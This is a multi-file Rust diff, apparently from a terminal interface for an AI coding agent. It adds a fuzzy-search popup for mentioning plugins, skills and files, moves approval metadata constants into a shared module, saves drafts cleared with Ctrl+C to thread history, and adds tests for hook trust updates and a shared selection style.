modified_hook,
hook(
"path:trusted",
HookEventName::PreToolUse,
HookSource::User,
/*plugin_id*/ None,
"/tmp/trusted.sh",
/*enabled*/ true,
/*is_managed*/ false,
/*display_order*/ 2,
),
],
Vec::new(),
Vec::new(),
AppEventSender::new(tx_raw),
);
view.handle_key_event(KeyEvent::from(KeyCode::Char('t')));
assert_eq!(
view.entry
.hooks
.iter()
.map(|hook| hook.trust_status)
.collect::<Vec<_>>(),
vec![
HookTrustStatus::Trusted,
HookTrustStatus::Trusted,
HookTrustStatus::Trusted,
]
);
match rx.try_recv().expect("trust event") {
AppEvent::TrustHooks { updates } => assert_eq!(
updates,
vec![
HookTrustUpdate {
key: "path:untrusted".to_string(),
current_hash: "sha256:current".to_string(),
},
HookTrustUpdate {
key: "path:modified".to_string(),
current_hash: "sha256:current".to_string(),
},
]
),
other => panic!("expected hook trust event, got {other:?}"),
}
assert!(rx.try_recv().is_err());
}
#[test]
fn escape_returns_to_the_selected_event() {
let mut view = view();
@@ -12,6 +12,15 @@ use codex_app_server_protocol::McpServerElicitationRequest;
use codex_app_server_protocol::McpServerElicitationRequestParams;
use codex_app_server_protocol::RequestId as AppServerRequestId;
use codex_protocol::ThreadId;
use codex_protocol::mcp_approval_meta::APPROVAL_KIND_KEY as APPROVAL_META_KIND_KEY;
use codex_protocol::mcp_approval_meta::APPROVAL_KIND_MCP_TOOL_CALL as APPROVAL_META_KIND_MCP_TOOL_CALL;
use codex_protocol::mcp_approval_meta::APPROVAL_KIND_TOOL_SUGGESTION as APPROVAL_META_KIND_TOOL_SUGGESTION;
use codex_protocol::mcp_approval_meta::PERSIST_ALWAYS as APPROVAL_PERSIST_ALWAYS_VALUE;
use codex_protocol::mcp_approval_meta::PERSIST_KEY as APPROVAL_PERSIST_KEY;
use codex_protocol::mcp_approval_meta::PERSIST_SESSION as APPROVAL_PERSIST_SESSION_VALUE;
use codex_protocol::mcp_approval_meta::TOOL_NAME_KEY;
use codex_protocol::mcp_approval_meta::TOOL_PARAMS_DISPLAY_KEY as APPROVAL_TOOL_PARAMS_DISPLAY_KEY;
use codex_protocol::mcp_approval_meta::TOOL_PARAMS_KEY as APPROVAL_TOOL_PARAMS_KEY;
use codex_protocol::user_input::TextElement;
use crossterm::event::KeyCode;
use crossterm::event::KeyEvent;
@@ -55,19 +64,10 @@ const APPROVAL_ACCEPT_SESSION_VALUE: &str = "accept_session";
const APPROVAL_ACCEPT_ALWAYS_VALUE: &str = "accept_always";
const APPROVAL_DECLINE_VALUE: &str = "decline";
const APPROVAL_CANCEL_VALUE: &str = "cancel";
const APPROVAL_META_KIND_KEY: &str = "codex_approval_kind";
const APPROVAL_META_KIND_MCP_TOOL_CALL: &str = "mcp_tool_call";
const APPROVAL_META_KIND_TOOL_SUGGESTION: &str = "tool_suggestion";
const APPROVAL_PERSIST_KEY: &str = "persist";
const APPROVAL_PERSIST_SESSION_VALUE: &str = "session";
const APPROVAL_PERSIST_ALWAYS_VALUE: &str = "always";
const APPROVAL_TOOL_PARAMS_KEY: &str = "tool_params";
const APPROVAL_TOOL_PARAMS_DISPLAY_KEY: &str = "tool_params_display";
const APPROVAL_TOOL_PARAM_DISPLAY_LIMIT: usize = 3;
const APPROVAL_TOOL_PARAM_VALUE_TRUNCATE_GRAPHEMES: usize = 60;
const TOOL_TYPE_KEY: &str = "tool_type";
const TOOL_ID_KEY: &str = "tool_id";
const TOOL_NAME_KEY: &str = "tool_name";
const TOOL_SUGGEST_SUGGEST_TYPE_KEY: &str = "suggest_type";
const TOOL_SUGGEST_REASON_KEY: &str = "suggest_reason";
const TOOL_SUGGEST_INSTALL_URL_KEY: &str = "install_url";
@@ -0,0 +1,82 @@
use std::path::PathBuf;
use ratatui::style::Style;
use ratatui::style::Styled;
use ratatui::style::Stylize;
use ratatui::text::Span;
const TAG_WIDTH: usize = "Plugin".len();
#[derive(Clone, Debug)]
pub(crate) enum Selection {
File(PathBuf),
Tool {
insert_text: String,
path: Option<String>,
},
}
#[derive(Clone, Copy, Debug, PartialEq, Eq, PartialOrd, Ord)]
pub(super) enum MentionType {
Plugin,
Skill,
File,
Directory,
}
impl MentionType {
pub(super) fn is_filesystem(self) -> bool {
matches!(self, Self::File | Self::Directory)
}
pub(super) fn span(self, base_style: Style) -> Span<'static> {
let style = match self {
Self::Plugin => base_style.magenta(),
Self::Skill => base_style.dim(),
Self::File => base_style.cyan(),
Self::Directory => base_style,
};
format!("{:<width$}", self.label(), width = TAG_WIDTH).set_style(style)
}
fn label(self) -> &'static str {
match self {
Self::Plugin => "Plugin",
Self::Skill => "Skill",
Self::File => "File",
Self::Directory => "Dir",
}
}
}
#[derive(Clone, Debug)]
pub(crate) struct Candidate {
pub(super) display_name: String,
pub(super) description: Option<String>,
pub(super) search_terms: Vec<String>,
pub(super) mention_type: MentionType,
pub(super) selection: Selection,
}
#[derive(Clone, Debug)]
pub(super) struct SearchResult {
pub(super) display_name: String,
pub(super) description: Option<String>,
pub(super) mention_type: MentionType,
pub(super) selection: Selection,
pub(super) match_indices: Option<Vec<usize>>,
pub(super) score: i32,
}
impl Candidate {
pub(super) fn to_result(&self, match_indices: Option<Vec<usize>>, score: i32) -> SearchResult {
SearchResult {
display_name: self.display_name.clone(),
description: self.description.clone(),
mention_type: self.mention_type,
selection: self.selection.clone(),
match_indices,
score,
}
}
}
@@ -0,0 +1,107 @@
use codex_file_search::FileMatch;
use codex_file_search::MatchType;
use codex_utils_fuzzy_match::fuzzy_match;
use super::candidate::Candidate;
use super::candidate::MentionType;
use super::candidate::SearchResult;
use super::candidate::Selection;
use super::search_mode::SearchMode;
pub(super) fn filtered_candidates(
candidates: &[Candidate],
file_matches: &[FileMatch],
query: &str,
search_mode: SearchMode,
show_file_matches: bool,
) -> Vec<SearchResult> {
let filter = query.trim();
let mut out = Vec::new();
for candidate in candidates {
if !search_mode.accepts(candidate.mention_type) {
continue;
}
if filter.is_empty() {
out.push(candidate.to_result(/*match_indices*/ None, /*score*/ 0));
continue;
}
if let Some((indices, score)) = best_tool_match(candidate, filter) {
out.push(candidate.to_result(indices, score));
}
}
if show_file_matches {
out.extend(
file_matches
.iter()
.map(file_match_to_row)
.filter(|candidate| search_mode.accepts(candidate.mention_type)),
);
}
sort_rows(&mut out, filter);
out
}
fn best_tool_match(candidate: &Candidate, filter: &str) -> Option<(Option<Vec<usize>>, i32)> {
if let Some((indices, score)) = fuzzy_match(&candidate.display_name, filter) {
return Some((Some(indices), score));
}
candidate
.search_terms
.iter()
.filter(|term| *term != &candidate.display_name)
.filter_map(|term| fuzzy_match(term, filter).map(|(_indices, score)| score))
.min()
.map(|score| (None, score))
}
fn sort_rows(rows: &mut [SearchResult], filter: &str) {
let type_order = |mention_type: MentionType| match mention_type {
MentionType::Plugin => 0,
MentionType::Skill => 1,
MentionType::File | MentionType::Directory => 2,
};
rows.sort_by(|a, b| {
type_order(a.mention_type)
.cmp(&type_order(b.mention_type))
.then_with(|| compare_within_rank(a, b, filter))
.then_with(|| a.display_name.cmp(&b.display_name))
});
}
fn compare_within_rank(a: &SearchResult, b: &SearchResult, filter: &str) -> std::cmp::Ordering {
if a.mention_type.is_filesystem() && b.mention_type.is_filesystem() {
return b.score.cmp(&a.score);
}
if filter.is_empty() {
return a.display_name.cmp(&b.display_name);
}
a.match_indices
.is_none()
.cmp(&b.match_indices.is_none())
.then_with(|| a.score.cmp(&b.score))
}
fn file_match_to_row(file_match: &FileMatch) -> SearchResult {
let mention_type = match file_match.match_type {
MatchType::File => MentionType::File,
MatchType::Directory => MentionType::Directory,
};
SearchResult {
display_name: file_match.path.to_string_lossy().to_string(),
description: None,
mention_type,
selection: Selection::File(file_match.path.clone()),
match_indices: file_match
.indices
.as_ref()
.map(|indices| indices.iter().map(|idx| *idx as usize).collect()),
score: file_match.score as i32,
}
}
@@ -0,0 +1,81 @@
use crossterm::event::KeyCode;
use ratatui::buffer::Buffer;
use ratatui::layout::Rect;
use ratatui::style::Stylize;
use ratatui::text::Line;
use ratatui::widgets::Widget;
use crate::key_hint;
use crate::line_truncation::truncate_line_with_ellipsis_if_overflow;
use super::search_mode::SearchMode;
pub(super) fn render_footer(area: Rect, buf: &mut Buffer, search_mode: SearchMode) {
let right_line = search_mode_indicator_line(search_mode);
let right_width = right_line.width() as u16;
let gap = u16::from(right_width > 0);
let left_width = area.width.saturating_sub(right_width).saturating_sub(gap);
let left_line =
truncate_line_with_ellipsis_if_overflow(footer_hint_line(), left_width as usize);
left_line.render(
Rect {
x: area.x,
y: area.y,
width: left_width,
height: 1,
},
buf,
);
if right_width > 0 && right_width <= area.width {
right_line.render(
Rect {
x: area.x + area.width - right_width,
y: area.y,
width: right_width,
height: 1,
},
buf,
);
}
}
fn footer_hint_line() -> Line<'static> {
Line::from(vec![
key_hint::plain(KeyCode::Enter).into(),
" insert · ".dim(),
key_hint::plain(KeyCode::Esc).into(),
" close · ".dim(),
key_hint::plain(KeyCode::Left).into(),
"/".dim(),
key_hint::plain(KeyCode::Right).into(),
" switch search modes".dim(),
])
}
fn search_mode_indicator_line(active_search_mode: SearchMode) -> Line<'static> {
let modes = [
SearchMode::Results,
SearchMode::FilesystemOnly,
SearchMode::Tools,
];
let mut spans = Vec::with_capacity(modes.len() * 2 - 1);
for (index, search_mode) in modes.into_iter().enumerate() {
if index > 0 {
spans.push(" ".dim());
}
if search_mode == active_search_mode {
let label = format!("[{}]", search_mode.label());
let span = match search_mode {
SearchMode::Results | SearchMode::FilesystemOnly => label.cyan().bold(),
SearchMode::Tools => label.magenta().bold(),
};
spans.push(span);
} else {
spans.push(format!(" {} ", search_mode.label()).dim());
}
}
Line::from(spans)
}
@@ -0,0 +1,11 @@
mod candidate;
mod filter;
mod footer;
mod popup;
mod render;
mod search_catalog;
mod search_mode;
pub(crate) use candidate::Selection as MentionV2Selection;
pub(crate) use popup::Popup as MentionV2Popup;
pub(crate) use search_catalog::build_search_catalog;
@@ -0,0 +1,154 @@
use codex_file_search::FileMatch;
use ratatui::buffer::Buffer;
use ratatui::layout::Rect;
use ratatui::widgets::WidgetRef;
use super::candidate::Candidate;
use super::candidate::SearchResult;
use super::candidate::Selection;
use super::filter::filtered_candidates;
use super::render::render_popup;
use super::search_mode::SearchMode;
use crate::bottom_pane::popup_consts::MAX_POPUP_ROWS;
use crate::bottom_pane::scroll_state::ScrollState;
pub(crate) struct Popup {
query: String,
file_search: FileSearch,
candidates: Vec<Candidate>,
search_mode: SearchMode,
state: ScrollState,
}
impl Popup {
pub(crate) fn new(candidates: Vec<Candidate>) -> Self {
Self {
query: String::new(),
file_search: FileSearch::default(),
candidates,
search_mode: SearchMode::Results,
state: ScrollState::new(),
}
}
pub(crate) fn set_candidates(&mut self, candidates: Vec<Candidate>) {
self.candidates = candidates;
self.clamp_selection();
}
pub(crate) fn set_query(&mut self, query: &str) {
self.query = query.to_string();
self.file_search.set_query(query);
self.clamp_selection();
}
pub(crate) fn set_file_matches(&mut self, query: &str, matches: Vec<FileMatch>) {
self.file_search.set_matches(query, matches);
self.clamp_selection();
}
pub(crate) fn selected(&self) -> Option<Selection> {
let rows = self.rows();
let idx = self.state.selected_idx?;
rows.get(idx).map(|row| row.selection.clone())
}
pub(crate) fn move_up(&mut self) {
let len = self.rows().len();
self.state.move_up_wrap(len);
self.state.ensure_visible(len, MAX_POPUP_ROWS.min(len));
}
pub(crate) fn move_down(&mut self) {
let len = self.rows().len();
self.state.move_down_wrap(len);
self.state.ensure_visible(len, MAX_POPUP_ROWS.min(len));
}
pub(crate) fn previous_search_mode(&mut self) {
self.search_mode = self.search_mode.previous();
self.clamp_selection();
}
pub(crate) fn next_search_mode(&mut self) {
self.search_mode = self.search_mode.next();
self.clamp_selection();
}
pub(crate) fn calculate_required_height(&self, _width: u16) -> u16 {
(MAX_POPUP_ROWS as u16).saturating_add(2)
}
fn clamp_selection(&mut self) {
let len = self.rows().len();
self.state.clamp_selection(len);
self.state.ensure_visible(len, MAX_POPUP_ROWS.min(len));
}
fn rows(&self) -> Vec<SearchResult> {
filtered_candidates(
&self.candidates,
&self.file_search.matches,
&self.query,
self.search_mode,
self.file_search.should_show_matches(),
)
}
}
impl WidgetRef for Popup {
fn render_ref(&self, area: Rect, buf: &mut Buffer) {
render_popup(
area,
buf,
&self.rows(),
&self.state,
self.file_search.empty_message(),
self.search_mode,
);
}
}
#[derive(Default)]
struct FileSearch {
pending_query: String,
display_query: String,
waiting: bool,
matches: Vec<FileMatch>,
}
impl FileSearch {
fn set_query(&mut self, query: &str) {
if query.is_empty() {
self.pending_query.clear();
self.display_query.clear();
self.waiting = false;
self.matches.clear();
} else if query != self.pending_query {
self.pending_query = query.to_string();
self.waiting = true;
}
}
fn set_matches(&mut self, query: &str, matches: Vec<FileMatch>) {
if query != self.pending_query {
return;
}
self.display_query = query.to_string();
self.matches = matches.into_iter().take(MAX_POPUP_ROWS).collect();
self.waiting = false;
}
fn should_show_matches(&self) -> bool {
!self.matches.is_empty()
}
fn empty_message(&self) -> &'static str {
if self.waiting {
"loading..."
} else {
"no matches"
}
}
}
@@ -0,0 +1,306 @@
use ratatui::buffer::Buffer;
use ratatui::layout::Rect;
use ratatui::style::Color;
use ratatui::style::Style;
use ratatui::style::Styled;
use ratatui::style::Stylize;
use ratatui::text::Line;
use ratatui::text::Span;
use ratatui::widgets::Widget;
use crate::line_truncation::truncate_line_with_ellipsis_if_overflow;
use crate::render::Insets;
use crate::render::RectExt;
use super::candidate::MentionType;
use super::candidate::SearchResult;
use super::candidate::Selection;
use super::footer::render_footer;
use super::search_mode::SearchMode;
use crate::bottom_pane::popup_consts::MAX_POPUP_ROWS;
use crate::bottom_pane::scroll_state::ScrollState;
pub(super) fn render_popup(
area: Rect,
buf: &mut Buffer,
rows: &[SearchResult],
state: &ScrollState,
empty_message: &str,
search_mode: SearchMode,
) {
let (list_area, hint_area) = if area.height > 2 {
let hint_area = Rect {
x: area.x,
y: area.y + area.height - 1,
width: area.width,
height: 1,
};
let list_area = Rect {
x: area.x,
y: area.y,
width: area.width,
height: area.height - 2,
};
(list_area, Some(hint_area))
} else {
(area, None)
};
render_rows(
list_area.inset(Insets::tlbr(
/*top*/ 0, /*left*/ 2, /*bottom*/ 0, /*right*/ 0,
)),
buf,
rows,
state,
empty_message,
);
if let Some(hint_area) = hint_area {
let hint_area = Rect {
x: hint_area.x + 2,
y: hint_area.y,
width: hint_area.width.saturating_sub(2),
height: hint_area.height,
};
render_footer(hint_area, buf, search_mode);
}
}
fn render_rows(
area: Rect,
buf: &mut Buffer,
rows: &[SearchResult],
state: &ScrollState,
empty_message: &str,
) {
if area.height == 0 {
return;
}
if rows.is_empty() {
Line::from(empty_message.italic()).render(area, buf);
return;
}
let visible_items = MAX_POPUP_ROWS
.min(rows.len())
.min(area.height.max(1) as usize);
let mut start_idx = state.scroll_top.min(rows.len().saturating_sub(1));
if let Some(sel) = state.selected_idx {
if sel < start_idx {
start_idx = sel;
} else if visible_items > 0 {
let bottom = start_idx + visible_items - 1;
if sel > bottom {
start_idx = sel + 1 - visible_items;
}
}
}
let mut cur_y = area.y;
let primary_column_width = rows
.iter()
.skip(start_idx)
.take(visible_items)
.map(primary_text_width)
.max()
.unwrap_or(0);
for (idx, row) in rows.iter().enumerate().skip(start_idx).take(visible_items) {
if cur_y >= area.y + area.height {
break;
}
let selected = Some(idx) == state.selected_idx;
let line = build_line(row, selected, area.width as usize, primary_column_width);
line.render(
Rect {
x: area.x,
y: cur_y,
width: area.width,
height: 1,
},
buf,
);
cur_y = cur_y.saturating_add(1);
}
}
fn build_line(
row: &SearchResult,
selected: bool,
width: usize,
primary_column_width: usize,
) -> Line<'static> {
let base_style = if selected {
Style::default().bold()
} else {
Style::default()
};
let dim_style = if selected {
Style::default().bold()
} else {
Style::default().dim()
};
let tag = row.mention_type.span(base_style);
let tag_width = tag.width();
let content_width = width.saturating_sub(tag_width.saturating_add(2));
let content = truncate_line_with_ellipsis_if_overflow(
content_line(row, base_style, dim_style, primary_column_width),
content_width,
);
let rendered_content_width = content.width();
let mut spans = Vec::new();
spans.extend(content.spans);
let padding = width.saturating_sub(rendered_content_width.saturating_add(tag_width));
if padding > 0 {
spans.push(" ".repeat(padding).set_style(dim_style));
}
spans.push(tag);
Line::from(spans)
}
fn content_line(
row: &SearchResult,
base_style: Style,
dim_style: Style,
primary_column_width: usize,
) -> Line<'static> {
let mut spans = Vec::new();
spans.extend(primary_spans(row, base_style));
if let Some(secondary) = secondary_line(row, base_style, dim_style) {
let padding = primary_column_width
.saturating_sub(primary_text_width(row))
.saturating_add(2);
spans.push(" ".repeat(padding).set_style(dim_style));
spans.extend(secondary.spans);
}
Line::from(spans)
}
fn primary_spans(row: &SearchResult, base_style: Style) -> Vec<Span<'static>> {
if let Some(file_name) = file_name(row) {
let style = if row.mention_type == MentionType::File {
base_style.fg(Color::Cyan)
} else {
base_style
};
return vec![file_name.to_string().set_style(style)];
}
let mut spans = Vec::with_capacity(row.display_name.len());
let name_style = match row.mention_type {
MentionType::Plugin => base_style.magenta(),
MentionType::Skill => base_style.dim(),
MentionType::File | MentionType::Directory => base_style,
};
if let Some(indices) = row.match_indices.as_ref() {
let mut idx_iter = indices.iter().peekable();
for (char_idx, ch) in row.display_name.chars().enumerate() {
let mut style = name_style;
if idx_iter.peek().is_some_and(|next| **next == char_idx) {
idx_iter.next();
style = style.bold();
}
spans.push(ch.to_string().set_style(style));
}
} else {
spans.push(row.display_name.clone().set_style(name_style));
}
spans
}
fn secondary_line(
row: &SearchResult,
base_style: Style,
dim_style: Style,
) -> Option<Line<'static>> {
if file_name(row).is_some() {
let mut spans = path_spans(row, base_style);
if let Some(description) = row
.description
.as_deref()
.filter(|description| !description.is_empty())
{
spans.push(" ".set_style(dim_style));
spans.push(description.to_string().set_style(dim_style));
}
return Some(Line::from(spans));
}
row.description
.as_deref()
.filter(|description| !description.is_empty())
.map(|description| Line::from(description.to_string().set_style(dim_style)))
}
fn path_spans(row: &SearchResult, base_style: Style) -> Vec<Span<'static>> {
let mut spans = Vec::with_capacity(row.display_name.len());
let file_name_start = file_name_start(row);
let path_style = base_style.dim();
if file_name_start == 0 {
spans.push("./".set_style(path_style));
} else if let Some(indices) = row.match_indices.as_ref() {
let mut idx_iter = indices.iter().peekable();
for (char_idx, ch) in row.display_name.chars().enumerate().take(file_name_start) {
let mut style = path_style;
if idx_iter.peek().is_some_and(|next| **next == char_idx) {
idx_iter.next();
style = style.bold();
}
spans.push(ch.to_string().set_style(style));
}
} else if file_name_start != usize::MAX {
let byte_start = row
.display_name
.char_indices()
.nth(file_name_start)
.map(|(idx, _)| idx)
.unwrap_or(row.display_name.len());
spans.push(
row.display_name[..byte_start]
.to_string()
.set_style(path_style),
);
} else {
spans.push(row.display_name.clone().set_style(base_style));
}
spans
}
fn primary_text_width(row: &SearchResult) -> usize {
file_name(row)
.map(|file_name| file_name.chars().count())
.unwrap_or_else(|| row.display_name.chars().count())
}
fn file_name(row: &SearchResult) -> Option<&str> {
let file_name_start = file_name_start(row);
if file_name_start == usize::MAX {
return None;
}
if file_name_start == 0 {
return Some(&row.display_name);
}
let byte_start = row
.display_name
.char_indices()
.nth(file_name_start)
.map(|(idx, _)| idx)
.unwrap_or(row.display_name.len());
Some(&row.display_name[byte_start..])
}
fn file_name_start(row: &SearchResult) -> usize {
match row.selection {
Selection::File(_) if row.mention_type.is_filesystem() => row
.display_name
.rfind(['/', '\\'])
.map(|idx| row.display_name[..idx + 1].chars().count())
.unwrap_or(0),
Selection::File(_) | Selection::Tool { .. } => usize::MAX,
}
}
@@ -0,0 +1,111 @@
use codex_core_skills::model::SkillMetadata;
use codex_plugin::PluginCapabilitySummary;
use crate::skills_helpers::skill_description;
use crate::skills_helpers::skill_display_name;
use super::candidate::Candidate;
use super::candidate::MentionType;
use super::candidate::Selection;
pub(crate) fn build_search_catalog(
skills: Option<&[SkillMetadata]>,
plugins: Option<&[PluginCapabilitySummary]>,
) -> Vec<Candidate> {
let mut candidates = Vec::new();
if let Some(skills) = skills {
candidates.extend(skills.iter().map(skill_candidate));
}
if let Some(plugins) = plugins {
candidates.extend(plugins.iter().map(plugin_candidate));
}
candidates
}
fn skill_candidate(skill: &SkillMetadata) -> Candidate {
let display_name = skill_display_name(skill);
let description = optional_skill_description(skill);
let skill_name = skill.name.clone();
let search_terms = if display_name == skill.name {
vec![skill_name.clone()]
} else {
vec![skill_name.clone(), display_name.clone()]
};
Candidate {
display_name,
description,
search_terms,
mention_type: MentionType::Skill,
selection: Selection::Tool {
insert_text: format!("${skill_name}"),
path: Some(skill.path_to_skills_md.to_string_lossy().into_owned()),
},
}
}
fn plugin_candidate(plugin: &PluginCapabilitySummary) -> Candidate {
let (plugin_name, marketplace_name) = plugin
.config_name
.split_once('@')
.unwrap_or((plugin.config_name.as_str(), ""));
let mut search_terms = vec![plugin_name.to_string(), plugin.config_name.clone()];
if plugin.display_name != plugin_name {
search_terms.push(plugin.display_name.clone());
}
if !marketplace_name.is_empty() {
search_terms.push(marketplace_name.to_string());
}
Candidate {
display_name: plugin.display_name.clone(),
description: plugin_description(plugin),
search_terms,
mention_type: MentionType::Plugin,
selection: Selection::Tool {
insert_text: format!("${plugin_name}"),
path: Some(format!("plugin://{}", plugin.config_name)),
},
}
}
fn plugin_description(plugin: &PluginCapabilitySummary) -> Option<String> {
let capability_labels = plugin_capability_labels(plugin);
plugin.description.clone().or_else(|| {
Some(if capability_labels.is_empty() {
"Plugin".to_string()
} else {
format!("Plugin - {}", capability_labels.join(" - "))
})
})
}
fn plugin_capability_labels(plugin: &PluginCapabilitySummary) -> Vec<String> {
let mut labels = Vec::new();
if plugin.has_skills {
labels.push("skills".to_string());
}
if !plugin.mcp_server_names.is_empty() {
let mcp_server_count = plugin.mcp_server_names.len();
labels.push(if mcp_server_count == 1 {
"1 MCP server".to_string()
} else {
format!("{mcp_server_count} MCP servers")
});
}
if !plugin.app_connector_ids.is_empty() {
let app_count = plugin.app_connector_ids.len();
labels.push(if app_count == 1 {
"1 app".to_string()
} else {
format!("{app_count} apps")
});
}
labels
}
fn optional_skill_description(skill: &SkillMetadata) -> Option<String> {
let description = skill_description(skill).trim();
(!description.is_empty()).then(|| description.to_string())
}
@@ -0,0 +1,44 @@
use super::candidate::MentionType;
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub(super) enum SearchMode {
Results,
FilesystemOnly,
Tools,
}
impl SearchMode {
pub(super) fn previous(self) -> Self {
match self {
Self::Results => Self::Tools,
Self::FilesystemOnly => Self::Results,
Self::Tools => Self::FilesystemOnly,
}
}
pub(super) fn next(self) -> Self {
match self {
Self::Results => Self::FilesystemOnly,
Self::FilesystemOnly => Self::Tools,
Self::Tools => Self::Results,
}
}
pub(super) fn accepts(self, mention_type: MentionType) -> bool {
match self {
Self::Results => true,
Self::FilesystemOnly => {
matches!(mention_type, MentionType::File | MentionType::Directory)
}
Self::Tools => matches!(mention_type, MentionType::Plugin | MentionType::Skill),
}
}
pub(super) fn label(self) -> &'static str {
match self {
Self::Results => "All Results",
Self::FilesystemOnly => "Filesystem Only",
Self::Tools => "Plugins",
}
}
}
+44 -7
View File
@@ -17,6 +17,7 @@ use std::collections::VecDeque;
use std::path::PathBuf;
use crate::app::app_server_requests::ResolvedAppServerRequest;
use crate::app_event::AppEvent;
use crate::app_event::ConnectorsSnapshot;
use crate::app_event_sender::AppEventSender;
use crate::bottom_pane::pending_input_preview::PendingInputPreview;
@@ -30,12 +31,13 @@ use crate::render::renderable::Renderable;
use crate::render::renderable::RenderableItem;
use crate::tui::FrameRequester;
pub(crate) use bottom_pane_view::BottomPaneView;
use bottom_pane_view::ViewCompletion;
pub(crate) use bottom_pane_view::ViewCompletion;
use codex_app_server_protocol::ToolRequestUserInputParams;
use codex_core_skills::model::SkillMetadata;
use codex_features::Features;
use codex_file_search::FileMatch;
use codex_plugin::PluginCapabilitySummary;
use codex_protocol::ThreadId;
use codex_protocol::user_input::TextElement;
use crossterm::event::KeyCode;
use crossterm::event::KeyEvent;
@@ -93,6 +95,7 @@ mod file_search_popup;
mod footer;
mod list_selection_view;
mod memories_settings_view;
mod mentions_v2;
pub(crate) mod prompt_args;
mod skill_popup;
mod skills_toggle_view;
@@ -102,7 +105,6 @@ pub(crate) use footer::GoalStatusIndicator;
#[cfg(test)]
pub(crate) use footer::goal_status_indicator_line;
pub(crate) use list_selection_view::ColumnWidthMode;
#[cfg(test)]
pub(crate) use list_selection_view::ListSelectionView;
pub(crate) use list_selection_view::SelectionRowDisplay;
pub(crate) use list_selection_view::SelectionToggle;
@@ -111,6 +113,7 @@ pub(crate) use list_selection_view::SideContentWidth;
pub(crate) use list_selection_view::popup_content_width;
pub(crate) use list_selection_view::side_by_side_layout_widths;
pub(crate) use memories_settings_view::MemoriesSettingsView;
use slash_commands::ServiceTierCommand;
mod feedback_view;
mod hooks_browser_view;
pub(crate) use feedback_view::FeedbackAudience;
@@ -206,6 +209,7 @@ pub(crate) struct BottomPane {
app_event_tx: AppEventSender,
frame_requester: FrameRequester,
thread_id: Option<ThreadId>,
has_input_focus: bool,
enhanced_keys_supported: bool,
@@ -271,6 +275,7 @@ impl BottomPane {
last_composer_activity_at: None,
app_event_tx,
frame_requester,
thread_id: None,
has_input_focus,
enhanced_keys_supported,
disable_paste_burst,
@@ -315,6 +320,11 @@ impl BottomPane {
self.request_redraw();
}
pub fn set_mentions_v2_enabled(&mut self, enabled: bool) {
self.composer.set_mentions_v2_enabled(enabled);
self.request_redraw();
}
pub fn take_mention_bindings(&mut self) -> Vec<MentionBinding> {
self.composer.take_mention_bindings()
}
@@ -390,8 +400,13 @@ impl BottomPane {
self.request_redraw();
}
pub fn set_fast_command_enabled(&mut self, enabled: bool) {
self.composer.set_fast_command_enabled(enabled);
pub fn set_service_tier_commands_enabled(&mut self, enabled: bool) {
self.composer.set_service_tier_commands_enabled(enabled);
self.request_redraw();
}
pub fn set_service_tier_commands(&mut self, commands: Vec<ServiceTierCommand>) {
self.composer.set_service_tier_commands(commands);
self.request_redraw();
}
@@ -776,7 +791,16 @@ impl BottomPane {
}
pub(crate) fn clear_composer_for_ctrl_c(&mut self) {
self.composer.clear_for_ctrl_c();
if let Some(text) = self.composer.clear_for_ctrl_c() {
if let Some(thread_id) = self.thread_id {
self.app_event_tx
.send(AppEvent::AppendMessageHistoryEntry { thread_id, text });
} else {
tracing::warn!(
"failed to append Ctrl+C-cleared draft to history: no active thread id"
);
}
}
self.request_redraw();
}
@@ -1315,6 +1339,12 @@ impl BottomPane {
AppLinkSuggestionType::Enable => {
"Enable this app to use it for the current request.".to_string()
}
AppLinkSuggestionType::Auth => unreachable!(
"auth uses URL mode elicitation, not tool suggestion forms"
),
AppLinkSuggestionType::ExternalAction => unreachable!(
"external actions use URL mode elicitation, not tool suggestion forms"
),
},
url: install_url,
is_installed,
@@ -1420,8 +1450,15 @@ impl BottomPane {
// --- History helpers ---
pub(crate) fn set_history_metadata(&mut self, log_id: u64, entry_count: usize) {
self.composer.set_history_metadata(log_id, entry_count);
pub(crate) fn set_history_metadata(
&mut self,
thread_id: ThreadId,
log_id: u64,
entry_count: usize,
) {
self.thread_id = Some(thread_id);
self.composer
.set_history_metadata(thread_id, log_id, entry_count);
}
pub(crate) fn flush_paste_burst_if_due(&mut self) -> bool {
@@ -2,8 +2,6 @@ use ratatui::buffer::Buffer;
use ratatui::layout::Rect;
// Note: Table-based layout previously used Constraint; the manual renderer
// below no longer requires it.
use ratatui::style::Color;
use ratatui::style::Style;
use ratatui::style::Stylize;
use ratatui::text::Line;
use ratatui::text::Span;
@@ -17,6 +15,7 @@ use crate::key_hint::KeyBinding;
use crate::line_truncation::truncate_line_with_ellipsis_if_overflow;
use crate::render::Insets;
use crate::render::RectExt as _;
use crate::style::accent_style;
use crate::style::user_message_style;
use super::scroll_state::ScrollState;
@@ -318,7 +317,7 @@ fn apply_row_state_style(lines: &mut [Line<'static>], selected: bool, is_disable
if selected {
for line in lines.iter_mut() {
line.spans.iter_mut().for_each(|span| {
span.style = Style::default().fg(Color::Cyan).bold();
span.style = accent_style();
});
}
}
@@ -725,7 +724,7 @@ pub(crate) fn render_rows_single_line_with_col_width_mode(
let mut full_line = build_full_line(row, desc_col);
if Some(i) == state.selected_idx && !row.is_disabled {
full_line.spans.iter_mut().for_each(|span| {
span.style = Style::default().fg(Color::Cyan).bold();
span.style = accent_style();
});
}
if row.is_disabled {
@@ -839,6 +838,9 @@ fn measure_rows_height_inner(
mod tests {
use super::*;
use pretty_assertions::assert_eq;
use ratatui::buffer::Buffer;
use ratatui::layout::Rect;
use ratatui::style::Modifier;
#[test]
fn one_cell_width_falls_back_without_panic_for_wrapped_two_column_rows() {
@@ -852,4 +854,27 @@ mod tests {
let two_col = wrap_two_column_row(&row, /*desc_col*/ 0, /*width*/ 1);
assert_eq!(two_col.len(), 0);
}
#[test]
fn selected_rows_use_the_shared_accent_style() {
let rows = vec![GenericDisplayRow {
name: "selected".to_string(),
..Default::default()
}];
let state = ScrollState {
selected_idx: Some(0),
..Default::default()
};
let area = Rect::new(0, 0, 16, 1);
let mut buf = Buffer::empty(area);
render_rows(
area, &mut buf, &rows, &state, /*max_results*/ 1, "no rows",
);
let style = buf[(0, 0)].style();
let expected = accent_style();
assert_eq!(style.fg, expected.fg);
assert!(style.add_modifier.contains(Modifier::BOLD));
}
}
@@ -1,11 +1,13 @@
use ratatui::buffer::Buffer;
use ratatui::layout::Rect;
use ratatui::style::Styled;
use ratatui::style::Stylize;
use ratatui::text::Line;
use ratatui::text::Span;
use ratatui::widgets::Widget;
use crate::render::renderable::Renderable;
use crate::style::accent_style;
use super::SelectionItem;
